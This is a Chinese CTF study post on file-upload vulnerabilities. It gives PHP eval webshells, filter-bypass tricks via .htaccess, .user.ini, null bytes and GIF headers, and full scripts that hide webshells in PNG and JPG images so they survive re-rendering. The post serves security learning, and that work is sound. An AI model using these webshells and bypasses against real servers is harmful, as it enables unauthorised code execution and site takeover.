当前位置: 首页 > news >正文

文件上传知识点汇总

        归纳总结一下文件上传(其实是懒得写wp)

基于Dream ZHO师傅的CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客

和dota_st 师傅的ctfshow-Web1000题系列修炼(一) | dota_st

做一篇自己的总结

目录

一、什么是文件上传

木马文件

如何利用木马文件

二、文件上传绕过检测

无检测 

js前端检测

        1.bp抓包

        2.更改js代码

        3.直接浏览器ban掉js

MINE检测

黑名单绕过

        .htaccess

        .user.ini(好用)

白名单绕过

        00截断

        图片马

        getimagesize()绕过

三、木马绕过

        短标签绕过

        命令执行与文件包含

四、图片马的二次渲染

        png

        jpg        

五、小结



一、什么是文件上传

         文件上传漏洞指服务端没有对用户上传的文件进行严格的过滤,从而使用户可以上传木马文件,控制整个网站。

        那么什么是木马文件呢?

木马文件

        我们常见的木马就是一句话木马

<?php @eval($_POST['a']);?>

        在php中eval()函数的作用是可以将传入的参数当作命令执行,

        @是用来防止报错的,因为我们本身没有定义a变量,这里本来不能使用a变量,但是@使代码可以继续执行下去,不产生报错。

        (我也是个小萌新,所以暂时也只知道这么一个常用来做题目的木马QAQ)

        一般写木马的时候需要关闭一下病毒防护,不然你刚写完,windows就把你写的文件给删了。

        知道了什么是木马文件后,我们还有两个问题要解决,怎么传上去,传上去之后该干嘛,

怎么传上去就是本文的重点了,所以先讲一下传上去以后该干嘛。

如何利用木马文件

        因为是一个eval函数,我们需要在网页里打开我们上传的.php文件,一般打开之后是空白的

用的是BaseCTF_week1的upload题

        然后我们有两种方式获取flag,一种是通过POST传参数a进行命令执行,一种是用蚁剑进行链接,链接密码就是参数a。

        注意一下不能用https协议。提一嘴,py的request库也不能用https协议(不知道为什么)

        那么知道了如何利用木马文件,接下来就是本文的重头戏


二、文件上传绕过检测

无检测 

        咳咳,故名思意,就是没有检测,随便上传php文件。(上面那道upload就是无检测)

js前端检测

        也就是网页本身代码中存在检测,后端没有检测,这边大致有三种办法

        1.bp抓包

                我们把含有一句话木马的php文件后缀改为其他后缀,如.txt,然后上传之后用bp抓包截获,这时我们可以更改后缀名改回php,然后继续发送,就可以发现绕过成功

例题:ctfshow_web151

        上传1.png文件,里面写入一句话木马

        

        把这个2.png改为2.php (下面那个Content-Type不用改,这个是下一个知识点)

        2.更改js代码

                因为前端检测不是要点,这里给篇文章,大家可以自行选择去看

渗透学习-学习记录-利用浏览器的开发者工具实时修改网页前端JS代码(实现绕过)_如何修改网页js-CSDN博客

        3.直接浏览器ban掉js

                简单粗暴,这里也给个文章看看

各常用浏览器如何禁用js_浏览器禁用js-CSDN博客

MINE检测

        这个就是刚刚提到的Content-Type

        Content-Type是指示发送端内容的媒体类型的 HTTP 头部,广泛用于请求和响应中。

        然后在php代码中可能存在这种代码

$type=$_FILES['file']['type'];
$allowedImageTypes = [
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff',
'image/webp'
];
if(!in_array($type,$allowedImageTypes)){
echo "<script>alert('只能允许上传图片')</script>";
exit();
}

        这样就是一个MIME检测

        怎么绕过呢?其实就是把Content-Type的值改为php检测可以通过的值就行,比如.png.jpeg等等

例:ctfshow_web152

(这道题因为还有前端的存在,所以还是要上传png,然后就不用更改Content-Type的值,虽然但是这道题目确实是这个考点。。)

黑名单绕过

        网站后端会过滤掉.php文件,不让你上传,这就是黑名单,如何绕过呢?

        1.文件大小写过滤,形如.pHp、.PhP等等

        2.双写绕过,形如.pphphp(后端代码让连在一起的php替换成' '。.pphphp替换之后就变成了.php)

        3.等价拓展名,形如php2、.php3、.php4、.phps、.phtml

                这里可以先传入.htaccess文件(作用于Apache)

        .htaccess

                里面写上以下内容

AddType application/x-httpd-php .php .phtml

        意思就是让.phtml像.php文件一样解析

        同时也讲一下.user.ini文件

        .user.ini(好用)

                .user.ini 文件是 PHP 配置的用户级别配置文件,允许在不修改全局 php.ini 配置文件的情况下对特定目录 或文件夹中的 PHP 设置进行调整。它主要用于在共享主机或没有对全局配置进行控制的环境中,修改 PHP 配置。

auto_prepend_file=1.png
include("1.png")
        这个代码的作用就是可以执行1.png文件里的php代码。
        在我们成功传上这串代码之后,我们遍不需要苦心过滤php,直接传png就行
        当然,题目很可能直接禁止这两个文件上传,所以他们也不是万能的
例题:ctfshow_web153
        上传user.ini
还是只能上传图片文件,这里要改成.png上传后改回来。
然后就可以上传一个jpg文件,里面写上一句话木马。
这里证明一下是否成功,我们链接蚁剑
额,连蚁剑死活连不上,看来别的师傅的wp才知道路径不能带上1.png,这里提个醒
4.空格点号法
bp抓包后,在.php后面加一个.  (.php.)
或者加一个空格  (.php )
或者空格和.一起加后面跟php(.php .php)

白名单绕过

        黑名单会过滤.php文件,不允许php文件上传,那么白名单就是只允许某类文件上传。

        比如只允许.png文件上传

        00截断

        windows系统识别到文件名中00的时候将不再向后识别

        仅适用于php版本小于5.3.4并且php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off

get型上传php文件的话就在bp抓包的时候,在顶部的.php后缀后面添加00
post型则需更改bp上传包的十六进制文本,在文本里找到php后缀,后面改为00

        图片马

        顾名思义,就是图片木马,在图片文件里添加一句话木马。

        添加方法如下

        010里在文件末尾添加一句话木马即可。

        也可以在cmd里执行。(虽然我没成功过)

copy 1.jpg/b+2.php 3.jpg

         值得注意的是,这种用法需要这个文件被包含了才有用,否则跟真的上传一个图片没啥区别。

        所以是需要万能的.user.ini的(说白了和之前的绕过手法差不多)

        getimagesize()绕过

        getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

        所以我们在一句话木马前面加个GIF89a即可,(也不知道为什么)

GIF89a
auto_prepend_file=/tmp/sess_muma

三、木马绕过

        什么!!!木马也要绕过!!!

        因为后端可能会对php代码有锁过滤,所以也需要学习一些绕过手法

        短标签绕过

<?=@eval($_POST['a']);?>

        ban了php的话可以用短标签来代替原本的<?php ?>

        命令执行与文件包含

        有时候一句话木马会被ban,这个时候我们可以上传一些命令,比如

<?=system("ls");?>

        没错,直接传命令也可以(命令执行的知识点!!)

        命令执行知识点汇总-CSDN博客(推销一下我自己)

        然后文件包含,这里其实就是传的命令可以是一些伪协议

<?=include"php://filter/convert.base64-encode/resource=../flag.php"?>

         都到这里了,php这种估计也被ban了,这里可以通过"ph"."p.....的形式绕过

        也可以日志注入,<?=include"/var/log/nginx/access.log"?> 日志里有会返回ua头的话,就可以在ua里传入一句话木马

        当然session注入,条件竞争等等都可以在文件上传实现,这里就不多讲了。

四、图片马的二次渲染

        有些网站会对上传的图片进行二次处理,会生成一个新的图片放到网页上

        png

        国外大牛写的png二次渲染脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

生成图片后上传,然后命令执行即可

        jpg        

        同样是国外大牛

<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = '<?=eval($_POST[1]);?>';if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

        我们需要先上传一个正常的图片,让他渲染一次

        然后把渲染后的图片和php代码一起执行

         Linux里,以这个形式   “php 脚本文件 图片文件”

        成功后再次上传,然后命令执行即可。

五、小结

        本来想每个知识点都添加例题的,但是篇幅实在是有点长,最后还有一个木马免杀部分没有写,我暂时也不是很清楚,之后会添加在文章里面,那么文件上传知识点就汇总到这。

相关文章:

文件上传知识点汇总

归纳总结一下文件上传&#xff08;其实是懒得写wp&#xff09; 基于Dream ZHO师傅的CTF show 文件上传篇&#xff08;web151-170&#xff0c;看这一篇就够啦&#xff09;-CSDN博客 和dota_st 师傅的ctfshow-Web1000题系列修炼(一) | dota_st 做一篇自己的总结 目录 一、什么…...

计算机网络技术基础:5.数据通信系统

一、数据通信的基本概念 1.信息 信息是对客观事物的运动状态和存在形式的反映&#xff0c;可以是客观事实的形态、大小、结构、性能等描述&#xff0c;也可以是客观事物与外部之间的联系。信息的载体可以是数字、文字、语音、图形和图像等。计算机及其外围设备产生和交换的信息…...

光谱相机在农业的应用

一、作物生长监测1、营养状况评估 原理&#xff1a;不同的营养元素在植物体内的含量变化会导致植物叶片或其他组织的光谱反射率特性发生改变。例如&#xff0c;氮元素是植物叶绿素的重要组成部分&#xff0c;植物缺氮时&#xff0c;叶绿素含量下降&#xff0c;其在可见光波段&a…...

高考志愿填报:如何制定合理的志愿梯度?

高考志愿填报中常见的避雷行为&#xff0c;深入分析了专业选择、招生政策了解、学校选择、备选方案准备以及防诈骗等方面的关键问题&#xff0c;并提出了针对性的建议与策略。旨在为考生和家长提供实用的指导&#xff0c;助力考生科学合理地填报高考志愿&#xff0c;避免陷入各…...

Android基于Path的addRoundRect,Canvas剪切clipPath简洁的圆角矩形实现,Kotlin(1)

Android基于Path的addRoundRect&#xff0c;Canvas剪切clipPath简洁的圆角矩形实现&#xff0c;Kotlin&#xff08;1&#xff09; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res…...

webGL硬核知识:图形渲染管渲染流程,各个阶段对应的API调用方式

一、图形渲染管线基础流程概述 WebGL 的图形渲染管线大致可分为以下几个主要阶段&#xff0c;每个阶段都有其特定的任务&#xff0c;协同工作将 3D 场景中的物体最终转换为屏幕上呈现的 2D 图像&#xff1a; 顶点处理&#xff08;Vertex Processing&#xff09;阶段&#xff1…...

区块链详解

1. 概述 1.1 什么是区块链&#xff1f; 区块链是一种分布式数据库技术&#xff0c;它以链式数据结构的形式存储数据&#xff0c;每个数据块与前一个数据块相关联&#xff0c;形成了一个不断增长的数据链。每个数据块中包含了一定数量的交易信息或其他数据&#xff0c;这些数据…...

【EXCEL 逻辑函数】AND、OR、XOR、NOT、IF、IFS、IFERROR、IFNA、SWITCH

目录 AND&#xff1a;当所有条件都为真时返回 TRUE&#xff0c;否则返回 FALSE OR&#xff1a;当任一条件为真时返回 TRUE&#xff0c;否则返回 FALSE XOR&#xff1a;当奇数个条件为真时返回 TRUE&#xff0c;否则返回 FALSE NOT &#xff1a;反转逻辑值 IF&#xff1a;根…...

ubuntu下gdb调试ROS

参考&#xff1a; 使用VsCode进行ROS程序调试_ros vscode 调试-CSDN博客 https://blog.csdn.net/weixin_45031801/article/details/134399664?spm1001.2014.3001.5506 一、调试准备 1.1 CMakeLists改动 注释文件中的 set(CMAKE_BUILD_TYPE "Release") #构建类…...

Docke_常用命令详解

这篇文章分享一下笔者常用的Docker命令供各位读者参考。 为什么要用Docker? 简单来说&#xff1a;Docker通过提供轻量级、隔离且可移植的容器化环境&#xff0c;使得应用在不同平台上保持一致性、易于部署和管理&#xff0c;具体如下 环境一致性&#xff1a; Docker容器使得…...

使用vue2.0或vue3.0创建自定义组件

Vue2.0创建自定义组件 在 Vue 2.0 中创建自定义组件是一个相对简单的过程。以下是一个详细的步骤指南&#xff0c;帮助你创建一个自定义组件。 步骤 1: 创建 Vue 组件文件 首先&#xff0c;你需要创建一个新的 Vue 文件&#xff08;.vue 文件&#xff09;。假设我们要创建一…...

Elasticsearch-DSL高级查询操作

一、禁用元数据和过滤数据 1、禁用元数据_source GET product/_search {"_source": false, "query": {"match_all": {}} }查询结果不显示元数据 禁用之前: {"took" : 0,"timed_out" : false,"_shards" : {&quo…...

【Linux】重启系统后开不开机(内核模块丢失问题)

问题 重启后开不开机报错如下&#xff1a; FAILED failed to start load kernel moduiles 可以看到提示module dm_mod not found 缺少了dm_mod 在内核module目录中 reboot重启可以看到这个现象&#xff1a; 可以看到重启启动磁盘&#xff0c;加载不到root 原因 dm_mod模块…...

对golang的io型进程进行off-cpu分析

背景&#xff1a; 对于不能占满所有cpu核数的进程&#xff0c;进行on-cpu的分析是没有意义的&#xff0c;因为可能程序大部分时间都处在阻塞状态。 实验例子程序&#xff1a; 以centos8和golang1.23.3为例&#xff0c;测试下面的程序&#xff1a; pprof_netio.go package m…...

Springboot中使用Retrofit

Retrofit官网 https://square.github.io/retrofit/ 配置gradle implementation("com.squareup.okhttp3:okhttp:4.12.0")implementation ("com.squareup.retrofit2:retrofit:2.11.0")implementation ("com.squareup.retrofit2:converter-gson:2.11.0…...

Ubuntu中配置内网固定IP

文章目录 背景一、配置步骤&#xff08;一&#xff09;首先确认网卡名称&#xff08;二&#xff09;确认网关&#xff08;三&#xff09;备份配置文件&#xff08;四&#xff09;编辑配置文件&#xff08;五&#xff09;应用配置&#xff08;六&#xff09;验证配置 二、注意事…...

ExcelVBA编程输出ColorIndex与对应颜色色谱

标题 ExcelVBA编程输出ColorIndex与对应颜色色谱 正文 解决问题编程输出ColorIndex与对应色谱共56&#xff0c;打算分4纵列输出&#xff0c;标题是ColorIndex,Color,Name 1. 解释VBA中的ColorIndex属性 在VBA&#xff08;Visual Basic for Applications&#xff09;中&#xff…...

MySQL中in和exists的使用场景

在MySQL中&#xff0c;IN 和 EXISTS 是用于子查询的两种常见方法&#xff0c;它们在不同的场景下有不同的表现和适用性。下面我将详细介绍这两种方法的使用场景、优劣&#xff0c;并通过实验来说明问题。 IN 子查询 使用场景&#xff1a; 当子查询返回的结果集较小且不包含 …...

【多线程2】start 和 run 区别,终止线程,等待线程

Thread 类使用 start 方法&#xff0c;启动一个线程&#xff0c;对于同一个 Thread 对象来说&#xff0c;start 只能调用一次&#xff01;&#xff01;&#xff01; 不怕名字起的长&#xff0c;就怕含义不清楚&#xff01; 想要启动更多线程&#xff0c;就是得创建新的对象&am…...

富途证券C++面试题及参考答案

C++ 中堆和栈的区别 在 C++ 中,堆和栈是两种不同的内存区域,它们有许多区别。 从内存分配方式来看,栈是由编译器自动分配和释放的内存区域。当一个函数被调用时,函数内的局部变量、函数参数等会被压入栈中,这些变量的内存空间在函数执行结束后会自动被释放。例如,在下面的…...

Go使用sqlx操作MySQL完整指南

# Go使用sqlx操作MySQL完整指南## 1. 安装依赖bash go get github.com/go-sql-driver/mysql go get github.com/jmoiron/sqlx2. 数据库基础操作 package mainimport ("fmt"_ "github.com/go-sql-driver/mysql""github.com/jmoiron/sqlx" )// 定…...

Python 爬取网页文字并保存为 txt 文件教程

引言 在网络数据获取的过程中&#xff0c;我们常常需要从网页中提取有用的文字信息。Python 提供了强大的库来帮助我们实现这一目标。本教程将以https://theory.gmw.cn/2023 - 08/31/content_36801268.htm为例&#xff0c;介绍如何使用requests库和BeautifulSoup库爬取网页文字…...

时间序列预测论文阅读和相关代码库

时间序列预测论文阅读和相关代码库列表 MLP-based的时间序列预测资料DLinearUnetTSFPDMLPLightTS 代码库以及论文库&#xff1a;Time-Series-LibraryUnetTSFLightTS MLP-based的时间序列预测资料 我会定期把我的所有时间序列预测论文有关的资料链接全部同步到这个文章中&#…...

Mamba安装环境和使用,anaconda环境打包

什么是mamba Mamba是一个极速版本的conda&#xff0c;它是conda的C重新实现&#xff0c;使用多线程并行处理来加速包和依赖项的下载。 Mamba旨在提高安装、更新和卸载Python包的速度&#xff0c;同时保持与conda相同的兼容性和命令行接口。 Mamba的核心部分使用C实现&#xff…...

SSH连接成功,但VSCode连接不成功

环境 在实验室PC上连接服务器234 解决方案&#xff1a;在VSCode中重新添加远程主机 删除旧的VSCode Server 在远程主机上&#xff0c;VSCode会安装一个‘vscode-server’服务来支持远程开发&#xff0c;有时旧的‘vscode-server’文件可能会导致问题&#xff0c;删除旧的&am…...

springboot结合AES和国密SM4进行接口加密

api接口加密 1.为什么需要api接口加密呢&#xff1f; 1.防止爬虫 2.防止数据被串改 3.确保数据安全 2.如何实现接口加密呢&#xff1f; 3.我们可以使用哪些加密算法来加密呢&#xff1f; AES 密码学中的高级加密标准&#xff08;Advanced Encryption Standard&#xff0c;…...

iOS在项目中设置 Dev、Staging 和 Prod 三个不同的环境

在 Objective-C 项目中设置 Dev、Staging 和 Prod 三个不同的环境&#xff0c;并为每个环境使用不同的 Bundle ID&#xff0c;可以通过以下步骤实现&#xff1a; 步骤 1: 创建不同的 Build Configuration 打开项目&#xff1a; 启动 Xcode 并打开你的项目。 选择项目文件&…...

openeuler24.09 系统无需配置 docker 源即可安装 docker 和 docker-composer

准备工作 1、准备一台刚刚创建的 openeuler24.09 lxc 虚拟机 2、使用 dnf 更新到最新,安装常用 工具 dnf update -y dnf install vim net-tools wget3、设置 ssh 由于ssh 与通常网上教程大同小异,在此我们就略过。 从下图我们可以看到 openeuler24.09 已经远程连接上。 …...

Flask入门:打造简易投票系统

目录 准备工作 创建项目结构 编写HTML模板 编写Flask应用 代码解读 进一步优化 结语 Flask,这个轻量级的Python Web框架,因其简洁和易用性,成为很多开发者入门Web开发的首选。今天,我们就用Flask来做一个简单的投票系统,让你快速上手Web开发,同时理解Flask的核心概…...

日常思考笔记

技术管理&#xff0c; 团队管理&#xff0c;人才培养&#xff0c;梯队建设 项目管理&#xff0c;项目全生命周期&#xff0c;项目进度 考核规范&#xff0c; AQS 是CountDownLatch&#xff0c;ReentrantLock&#xff0c;Semaphore&#xff0c;ReentrantReadWriteLock的基础 vo…...